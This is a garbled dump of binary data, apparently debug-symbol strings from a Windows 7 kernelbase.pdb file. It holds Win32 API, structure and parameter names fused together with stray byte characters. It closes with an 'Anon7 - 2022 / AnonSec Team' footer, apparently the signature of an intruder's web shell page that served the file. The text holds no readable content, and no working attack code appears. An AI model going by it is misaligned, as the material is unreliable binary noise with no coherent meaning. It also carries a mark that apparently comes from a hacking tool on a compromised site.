NlsUpdateLocale,NlsUpdateSystemLocale$NlsValidateLocale"NlsWriteEtwEvent.NodeNumber&NotifyMountMgr(:NotifyRedirectedStringChangeNumDigitsNumaNode-4NumberOfConcurrentThreadsjNumberOfHeapsbOS version '7601.x86fre.win7sp1_rtm.101119-1850').ObjectCloseAuditAlarmW1ObjectCreation+0ObjectDeleteAuditAlarmW"ObjectDescriptor/ObjectName,,ObjectOpenAuditAlarmW.6ObjectPrivilegeAuditAlarmW9ObjectTypeUObjectTypeGuid5ObjectTypeList:*ObjectTypeListLength.ObjectTypeNameHObjectTypes4ObjectsSecurityDescriptorOffsetOffsetHighQOldValue!Opcode@OpenAsSelf/OpenEventA0OpenEventW1"OpenFileMappingW2OpenMutexW3OpenProcess5"OpenProcessToken6OpenRegKey<OpenSemaphoreW=OpenThread? OpenThreadTokenA&OpenWaitableTimerWB&OutputDebugStringAD&OutputDebugStringWParameter"ParentDescriptorPathStrEPeekNamedPipePeriodP
PipePointerv
PoolPositiveOrderJ6PostQueuedCompletionStatusUPresentFlagstPreviousState4"PrincipalSelfSid'PrivilegeLPrivilegeCheck%PrivilegeCount#PrivilegeSet(&PrivilegeSetLengthO:PrivilegedServiceAuditAlarmWyPrivilegesb&PrivilegesToDeletemProcessProcessHandlekProcessHeapsyProcessIdQ*ProcessIdToSessionId*ProcessorProcessorCoreProcessorMask:ProtectPtrSPulseEventT QueryDepthSListV QueryDosDeviceWX0QueryPerformanceCounterZ4QueryPerformanceFrequency\>QueryProcessAffinityUpdateMode]0QuerySecurityAccessMask^@QueryThreadpoolStackInformationdQueueUserAPCRMControlgRaiseExceptionkReadFilenReadFileExp ReadFileScatterReadHandlet$ReadProcessMemoryReasoniRegion8RegionSizeu<RegisterWaitForSingleObjectExRelationship("RelationshipTypewReleaseMutexy@ReleaseMutexWhenCallbackReturns{0ReleaseSRWLockExclusive}*ReleaseSRWLockShared"ReleaseSemaphoreHReleaseSemaphoreWhenCallbackReturns"RemoveDirectoryA"RemoveDirectoryW*RequestedInformation(RequiredInformationM&RequiredPrivileges%ReservedResetEventnResetToDefault$ResolveLocaleNameResourceIDd&RestrictedSidCountResultd(ResultantDescriptorResumeThreaduReturnLength&ReturnedLengthRevertToSelf8SbzK
Sbz1N
Sbz2SearchPathW0&SecurityDescriptor2SecurityDescriptorLengthc(SecurityInformationPServiceName$SetAclInformation"SetCalendarInfoW8SetCriticalSectionSpinCount*SetCurrentDirectoryA*SetCurrentDirectoryWSetEndOfFile.SetEnvironmentStringsW0SetEnvironmentVariableA0SetEnvironmentVariableWSetErrorModeSetEvent8SetEventWhenCallbackReturns$SetFileApisToANSI"SetFileApisToOEM&SetFileAttributesA&SetFileAttributesW6SetFileInformationByHandleSetFilePointer"SetFilePointerEx"SetFileSecurityWSetFileTime"SetFileValidDataSetHandleCount*SetHandleInformation0SetKernelObjectSecuritySetLastErrorSetLocalTimeSetLocaleInfoW0SetNamedPipeHandleState"SetPriorityClass2SetPrivateObjectSecurity6SetPrivateObjectSecurityEx:SetProcessAffinityUpdateMode:SetProcessShutdownParameters,SetSecurityAccessMask:SetSecurityDescriptorControl4SetSecurityDescriptorDacl6SetSecurityDescriptorGroup6SetSecurityDescriptorOwner>SetSecurityDescriptorRMControl4SetSecurityDescriptorSaclSetStdHandleSetStdHandleEx SetThreadLocale$SetThreadPriority.SetThreadPriorityBoost0SetThreadStackGuaranteeSetThreadToken<SetThreadpoolStackInformation6SetThreadpoolThreadMaximum6SetThreadpoolThreadMinimum&SetThreadpoolTimer$SetThreadpoolWait(SetTokenInformation"SetWaitableTimer&SetWaitableTimerEx_SidSidToCheck]SidsToDisableeSidsToRestrictc
SizeSizeofResourceSleepSleepEx$SortCompareString(SortFindString(SortIsDefinedStringSourceStringXSpareUlong0SpecialMBToWCcStackCommitbStackReserve"StackSizeInBytesStandardBiasStandardDateStandardName$StartThreadpoolIo9State*SubmitThreadpoolWork,SubsystemNameWSummarySuspendThreadSwitchToThread*SystemTimeToFileTime@SystemTimeToTzSpecificLocalTime"
Task"TerminateProcess TerminateThreadTestCharoThreadkThreadHandle TimeZoneKeyNameTimerTimerQueueTlsAllocTlsFree	TlsGetValue
TlsSetValueCTokenmTokenHandle"TokenInformation,TokenInformationClass.TokenInformationLengthTokenTypeTolerableDelay$TransactNamedPipe
6TryAcquireSRWLockExclusive0TryAcquireSRWLockShared0TryEnterCriticalSection8TrySubmitThreadpoolCallback$
Type@TzSpecificLocalTimeToSystemTimem&UnicodeDefaultCharUnlockFileUnlockFileEx UnmapViewOfFile"UnregisterWaitEx4UpdateProcThreadAttribute$UserDataCount ValidDataLength}Value""VerLanguageNameA&"VerLanguageNameWuVersion'VirtualAlloc*VirtualAllocEx+&VirtualAllocExNuma,VirtualFree.VirtualFreeEx/VirtualProtect2"VirtualProtectEx3VirtualQuery;VirtualQueryEx<2WaitForMultipleObjectsEx@(WaitForSingleObjectA,WaitForSingleObjectExB:WaitForThreadpoolIoCallbacksD@WaitForThreadpoolTimerCallbacksF>WaitForThreadpoolWaitCallbacksH>WaitForThreadpoolWorkCallbacksWaitHandleJWaitNamedPipeWWakeContext"WellKnownSidTypeWhichStringM(WideCharToMultiByteP>Wow64DisableWow64FsRedirectionWow64ProcessR<Wow64RevertWow64FsRedirectionSWriteFileVWriteFileExW WriteFileGatherX&WriteProcessMemoryI
_ACL_BEM_REFERENCE8_BY_HANDLE_FILE_INFORMATION!$_CACHE_DESCRIPTOR0(_CACHE_RELATIONSHIP,_CONTRACT_DESCRIPTION._EVENT_DATA_DESCRIPTOR$_EVENT_DESCRIPTOR_FILEMUIINFO_FILETIMEr,_FILE_SEGMENT_ELEMENT"_GENERIC_MAPPING/ _GROUP_AFFINITY3(_GROUP_RELATIONSHIPV_GUIDX_HEAP_SUMMARY0_KERNELBASE_GLOBAL_DATA_LARGE_INTEGER_LUIDc*_LUID_AND_ATTRIBUTES5 _MEMORYSTATUSEX44_MEMORY_BASIC_INFORMATION-0_NUMA_NODE_RELATIONSHIP6$_OBJECT_TYPE_LIST _OSVERSIONINFOA _OSVERSIONINFOW_OVERLAPPED$_OVERLAPPED_ENTRY$_PRIVILEGE_SET+0_PROCESSOR_RELATIONSHIPb(_PROCESS_HEAP_ENTRYT8_PROC_THREAD_ATTRIBUTE_LIST _REASON_CONTEXTw,_RTL_CRITICAL_SECTION*_SECURITY_ATTRIBUTES^(_SID_AND_ATTRIBUTES|4_SID_IDENTIFIER_AUTHORITY_STARTUPINFOW_SYSTEMTIME_SYSTEM_INFOL_SYSTEM_LOGICAL_PROCESSOR_INFORMATION)R_SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX>_TIME_DYNAMIC_ZONE_INFORMATION._TIME_ZONE_INFORMATIONp_TOKEN_GROUPSx$_TOKEN_PRIVILEGESt0_TP_CALLBACK_ENVIRON_V3a6_TP_POOL_STACK_INFORMATION _ULARGE_INTEGER$_WIN32_FIND_DATAA$_WIN32_FIND_DATAWf_cpinfol_cpinfoexW_currencyfmtW _nlsversioninfoL$_nlsversioninfoexY_numberfmtWqaSegementArrayabBufferbAlertablebAllowNeutralsfbAuditFailureebAuditSuccessbDaclDefaultedbDaclPresent,bDisablePriorityBoost bGroupDefaultedbIgnoreCasebInheritHandle0bInitialOwnerbInitialStatebManualReset bOwnerDefaultedbSaclDefaultedbSaclPresentbUserPolicy`bWait?bWaitAllbWatchSubtree&cAlternateFileNamecFileNamecbYcbAllocatedZcbCommitteddcbData,cbDomainSid\cbMaxReservecbMultiByteecbOverhead[cbReservedcbReserved2cbSidcbSize:cchBuffer cchBufferLengthcchBufferMaxcchCount1cchCount2cchCurrencycchDataHcchDestcchFilePathcchLocaleNamecchName[cchNumbercchOutput#cchSourceFcchSrccchStr%cchValuecchWideCharcontract(contractDescriptioncontractID copiedReference	cp_hash_s.createContractWithHost4createContractWithoutHostcthrdMicdllPathddwAccessMaskdwAceIndexOdwAceRevision`,dwAclInformationClassrdwAclRevision,dwActiveProcessorMask$dwAdditionalFlags0dwAllocationGranularity|"dwAttributeCountdwBufferSizedwBuildNumber1dwBytesdwCmpFlagsK dwCompletionKey,dwCreationDispositionP dwCreationFlagsfdwData"dwDefinedVersion dwDesiredAccessdwDurationMdwEffectiveIdh dwExceptionCodei"dwExceptionFlagsUdwExitCode	"dwFileAttributes"dwFileOffsetHigh dwFileOffsetLowdwFileType dwFillAttribute!*dwFindNLSStringFlags42dwFindStringOrdinalFlagsdwFlags*dwFlagsAndAttributes9dwFlsIndex-dwFreeTypedwFreqdwHighDateTimedwInfoTypeEdwInitialSize dwIoControlCodedwItemOffsetLdwLanguageId*dwLanguageNameOffset6dwLengthdwLeveldwLowDateTimedwMajorVersionDdwMapFlagsdwMaskFdwMaximumSize$$dwMaximumSizeHigh%"dwMaximumSizeLow7dwMemoryLoadKdwMessageIddwMillisecondsdwMinorVersiondwMoveMethoddwNLSVersion*dwNLSVersionInfoSizedwNotifyFilterB.dwNumberOfBytesToFlush*dwNumberOfBytesToMap6dwNumberOfBytesTransferred*dwNumberOfProcessors(dwOSVersionInfoSizedwOemId5dwOpenModedwOptionsdwPageSize6dwPipeModedwPlatformId dwPriorityClass4dwProcessId dwProcessorTypedwReserveddwReserved0dwReserved1dwRevisiondwShareModedwSizeydwSpinCountMdwStackSize`&dwStartingAceIndex>dwThreadIddwTlsIndex$dwTypeIDMUIOffset dwTypeIDMUISize&dwTypeIDMainOffset"dwTypeIDMainSize(dwTypeNameMUIOffset*dwTypeNameMainOffsetdwValue1dwValue2dwVersion*dwVolumeSerialNumberdwXdwXCountCharsdwXSizedwYdwYCountCharsdwYSizeextensionId:fAccessfAlertablefCheckNullfExVersionfInfoLevelIdfNamedVersionfResumefSearchOpfUnicodeVer
fVersionpfl)"flAllocationType0flNewProtectDflOptions#flProtectfreeCallbackfreeContract
ftCreationTime"ftLastAccessTime ftLastWriteTimeIfunctionN$guidCustomVersionhChangeHandlehDevicehEventhExistingTokenhFile&hFileMappingObjecthFindFile-hFindVolumehHandleBhHeaphInstancehLibModule3
hMem0hModulexhMutexhNamedPipehObjectKhProcessYhResDatahResInfohSemaphorehSourceHandle*hSourceProcessHandlehStdErrorhStdInputhStdOutput*hTargetProcessHandle hTemplateFilehThreadhTimermhTokenhostContractqiCalendar|iCount}
iEraaiMaxLengthiMinimumYeariOffsetYeariRecursionfiRegionIndexiStartDayiStartMonth~iStartYearr"iTwoDigitYearMaxiidinstanceinterfaceCount$interfaceInstanceinterfaceskernelbase.dll lDistanceToMoveilInitialCountjlMaximumCountlParamlPeriodlReleaseCount"liDistanceToMove
loc_hash_sJlocale(lpAddress2lpArgToCompletionRoutineNlpArgumentsS lpAttributeListAlpBaseAddressMlpBufferI.lpBytesLeftThisMessage"lpBytesPerSectorGlpBytesRead lpBytesReturnedelpCPInfoklpCPInfoExlpCalData$lpCalInfoEnumProc(lpCalInfoEnumProcEx,lpCalInfoEnumProcExEx7lpCallbacklpCharType&lpCodePageEnumProc*lpCollectDataTimeout lpCompletionKey0lpCompletionPortEntrieso(lpCompletionRoutinelpCreationTimev$lpCriticalSectionlpCurrencyStr"lpCurrencySymbolclpData$lpDateFmtEnumProc(lpDateFmtEnumProcEx,lpDateFmtEnumProcExExlpDecimalSepNlpDefaultCharlpDesktopGlpDestStrlpDeviceName lpDirectoryName*lpDistanceToMoveHighlpDstlpDueTimealpEntry$lpEventAttributeslpExitCodeulpExitTimelpExtension$lpFileInformation"0lpFileMappingAttributeslpFileNamelpFilePartlpFileSizelpFileSizeHigh$$lpFileSystemFlags%.lpFileSystemNameBufferlpFileTimelpFileTime1lpFileTime2>lpFilenamelpFindFileData<lpFlsDatalpFormat:lpFreeBytesAvailableToCaller>lpHandles
lpIdlpInBuffervlpKernelTimelpLCData4lpLangGroupLocaleEnumProc0lpLanguageGroupEnumProc"lpLastAccessTime lpLastWriteTimelpLibFileName lpLocalFileTimelpLocalTime"lpLocaleEnumProclpLocaleName9lpLongPath*lpMaxCollectionCount8lpMaximumApplicationAddress#2lpMaximumComponentLength_lpMemlpMessageText8lpMinimumApplicationAddresslpModeAlpModuleNamelpMultiByteStr/$lpMutexAttributeslpName lpNameToResolveK lpNamedPipeName"lpNewFilePointerm(lpNumberOfBytesRead_6lpNumberOfBytesTransferredU.lpNumberOfBytesWritten.lpNumberOfFreeClustersZlpNumberStrlpOutBufferClpOutputStringlpOverlappedOlpParameterlpPath
lpPathName>"lpPipeAttributeslpPrefixString lpPreviousCount  lpPreviousValueglpProcName<lpReadPipelpReservedlpReserved2!lpReturnSizelpRootPathNamelpSearchFilter(lpSectorsPerCluster*lpSecurityAttributes*lpSecurityDescriptorh,lpSemaphoreAttributes}lpSizeJlpSourcelpSrcElpSrcStrNlpStartAddresslpStartupInfolpStringlpString1lpString2"lpStringSource$lpStringValuelpSystemInfolpSystemTime.lpSystemTimeAsFileTimelpTargetHandlelpTargetPathlpTempFileNamelpThousandSepL&lpThreadAttributesQlpThreadId"lpTimeAdjustment2lpTimeAdjustmentDisabled$lpTimeFmtEnumProc lpTimeIncrement,lpTimeZoneInformation$lpTimerAttributeslpTimerNamelpTitlelpTlsValue$lpTokenAttributesH$lpTotalBytesAvail*lpTotalNumberOfBytes0lpTotalNumberOfClusters2lpTotalNumberOfFreeBytes1lpType*lpUILanguageEnumProc lpUniversalTimeO$lpUsedDefaultCharwlpUserTimelpValue*lpVersionInformation &lpVolumeNameBuffer"*lpVolumeSerialNumberlpWideCharStr=lpWritePipeClpaModuleName"lpbDaclDefaultedlpbDaclPresent$lpbGroupDefaulted$lpbOwnerDefaulted"lpbSaclDefaultedlpbSaclPresentFlpdwAbsoluteSecurityDescriptorSize"lpdwBufferLengthlpdwBufferSizelpdwDaclSize	lpdwFlagslpdwOwnerSize*lpdwPrimaryGroupSizelpdwRevisionlpdwSaclSize1lpflOldProtect lpnLengthNeeded)lpszFileNamelpszFilePath<lpszLongPath8lpszShortPath*lpszVolumeMountPointlpszVolumeName*&lpszVolumePathNamelpwLibFileNameFlpwModuleNameYlstrcmpZlstrcmpA[lstrcmpW\lstrcmpi]lstrcmpiA^lstrcmpiW_lstrcpyn`lstrcpynAblstrcpynWclstrlendlstrlenAelstrlenWbnAceListLength_,nAclInformationLengthqnAclLengthnBufferLengthFnBufferSize=nCount: nDefaultTimeOut,nDestinationSidLengthnFileIndexHighnFileIndexLow
nFileSizeHighnFileSizeLow&(nFileSystemNameSize9nInBufferSize
nLength7nMaxInstancesj&nNumberOfArguments2nNumberOfBytesToLockHigh0nNumberOfBytesToLockLowl*nNumberOfBytesToRead6nNumberOfBytesToUnlockHigh4nNumberOfBytesToUnlockLowT,nNumberOfBytesToWritenNumberOfLinks8nOutBufferSizenPriority?nSizenStdHandlenSubAuthoritynSubAuthority0nSubAuthority1nSubAuthority2nSubAuthority3nSubAuthority4nSubAuthority5nSubAuthority6nSubAuthority7~&nSubAuthorityCountLnTimeOut! nVolumeNameSize&nndPreferred|o:\w7rtm.obj.x86fre\minkernel\kernelbase\wow6432\objfre\i386\o:\w7rtm.obj.x86fre\minkernel\kernelbase\wow6432\objfre\i386\wkernelbase.pdb8pAbsoluteSecurityDescriptor
pAceapAceListH
pAcl^ pAclInformationpAttributes8pBaseNamepBufferpCPInfopCalendarpChecksumpControlpDaclpDatapDataPtr pDestinationSid,pDisablePriorityBoostpDomainSid*pEventDataDescriptor"pEventDescriptorpFileMUIInfopGrouppHashN{*pIdentifierAuthority9
pKeykpLabelSidpLocalepLocaleItempLocaleName pLocaleSortNamepNlsEnumProcpOutputpOwnerpParentNamepPoolpPrimaryGroupbpResultBufpSacl(pSecurityDescriptor@pSelfRelativeSecurityDescriptor"pServiceChecksumRpSessionIdQ
pSidpSid1pSid2pSourceSid	 pUnicodeBuffer1
 pUnicodeBuffer2%pUserDatapValuepcbFileMUIInfos
pcbepcchBufferOut,pcchFallbackLanguages pcchFileMUIPath&pcchFoundpcchLanguages(pcchLanguagesBufferpcipcwszFilePathpdtzipdwItemOffsetQ
penvpfEqual2$pfGenerateOnCloseNpfResultepfnAPC
pfnCPProc*pfnCompletionRoutineqpfniopfnscbxpfntizpfnwa|pfnwk7phKeyHandleDphModulephNewTimerphNewToken phPreviousValuepiWordppHashN&pszLanguagesBuffer_
ptpp`ptpsi
ptziq pulNumLanguagespullEnumeratorrpvpwmszLanguage,pwszFallbackLanguages pwszFileMUIPathpwszLanguager(pwszLanguagesBufferreferencemreserved|sCalendarName}sMonthDaysPaddingsPadding2sPadding3sPadding4y"saAbbrevDayNames~"saAbbrevEraNames{&saAbbrevMonthNamesxsaDayNamesvsaEraNamesusaLongDatezsaMonthNamesssaShortDate*saSuperShortDayNamestsaYearMonthszCSDVersion$szLanguActionuBytesuExitCode;uFLAGS0uFlagsuIDuModeuNumberuSizeuUniqueWucchMaxulCount(ulNumEntriesRemoved>0ullAvailExtendedVirtual;"ullAvailPageFile9ullAvailPhys= ullAvailVirtual:"ullTotalPageFile8ullTotalPhys< ullTotalVirtualunused
wDaywDayOfWeekgwFlagswHourwID#wLangwLangID2wLanguagewMillisecondswMinutewMonth.wProcessorArchitecture wProcessorLevel&wProcessorRevisionwReservedwSecondwShowWindow%wSizewYearwwaaEraRanges

Anon7 - 2022
AnonSec Team